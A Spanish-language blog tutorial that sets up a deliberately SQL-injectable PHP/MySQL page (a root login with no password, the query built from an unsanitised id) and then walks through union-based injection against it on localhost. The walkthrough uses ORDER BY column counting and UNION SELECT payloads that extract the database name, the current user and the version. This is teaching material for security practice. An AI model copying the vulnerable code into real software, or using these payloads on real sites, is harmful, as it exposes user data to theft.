sqli.html
<!DOCTYPE HTML>
<html>
<head>
<title> Sqli </title>
</head>
<body>
<header>
<h1> <font color = "red"> Taller sql Injection </font> </h1>
</header>
<p>
<a href = "sqli.php?id=1"> Enlace </a>
</p>
</body>
</html>
sqli.php
<!DOCTYPE HTML>
<html>
<head>
<title> Sqli </title>
</head>
<style>
body{
font-size: 20px;
font-family: Verdana;
}
h1{
font-size: 50px;
}
</style>
<body>
<header>
<h1> <font color = "red"> Taller sql Injection </font> </h1>
</header>
<?php
if(isset($_GET["id"])){
$id = $_GET["id"];
$con = mysql_connect("localhost","root","");
mysql_select_db("sqlinjection",$con);
$select = "SELECT * FROM clientes WHERE id=".$id;
$query = mysql_query($select,$con);
$columna = mysql_fetch_array($query);
echo "<h2> <font color = 'blue'> Bienvenid@ </font> </h2>";
echo "Hola : <font color = 'green'> ".$columna[1]."</font> <br>";
echo "Su saldo es de : <font color = 'green'> ".$columna[4]."</font> <br>";
}
else{
header("location: sqli.html");
}
mysql_close($con);
?>
</body>
</html>
La base de datos que he creado con PhpMyAdmin:
Base de datos: sqlinjection
Tabla: Clientes
Sig
E introducimos unos registros en mi caso son:
Una vez montado tiene esta apariencia:
Lo primero es insertar una comilla para ver si es vulnerable:
Lo siguiente es saber las columnas que tiene esa tabla, asi que vamos a usar la sentencia ORDER+BY usada en MYSQL para ordenar por ese campo el campo X
Vamos a ir ordenando por campos hasta que de fallo asi que:
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+1--
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+2--
Pero cuando llegamos a:
http://localhost:8080/sqli/sqli.php?id=1+ORDER+BY+6--
Ya sabemos que tiene 5 columnas esa tabla.
Ahora con la clausula UNION+SELECT vamos a ir uniendo columnas para comprobar que es correcto que tenemos 5 columnas, solo conseguiremos un buen resultado cuando el numero de columnas coincidan.
http://localhost:8080/sqli/sqli.php?id=1+union+select+1--
http://localhost:8080/sqli/sqli.php?id=1+union+select+1,2--
Hasta que efectivamente llegamos a 5
http://localhost:8080/sqli/sqli.php?id=1+union+select+1,2,3,4,5--
Si colocamos un menos delante adivinaremos a que columna corresponde cada espacio, usuario sabemos que es 2 y saldo 5.
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,2,3,4,5--
Ahora vamos a conseguir el nombre de la base de datos. Usaremos los sitios que sabemos para sustituirlos por la informacion que queremos extraer.
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,database(),3,4,5--
Para saber que con que usuario se esta trabajando usaremos la funcion current_user()
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,current_user(),3,4,5--
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,user(),3,4,5--
Una opcion buena de saber que version de php usa es con version()
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,version(),3,4,5--
http://localhost:8080/sqli/sqli.php?id=-1+union+select+1,charset('str'),3,4,5--
No hay comentarios:
Publicar un comentario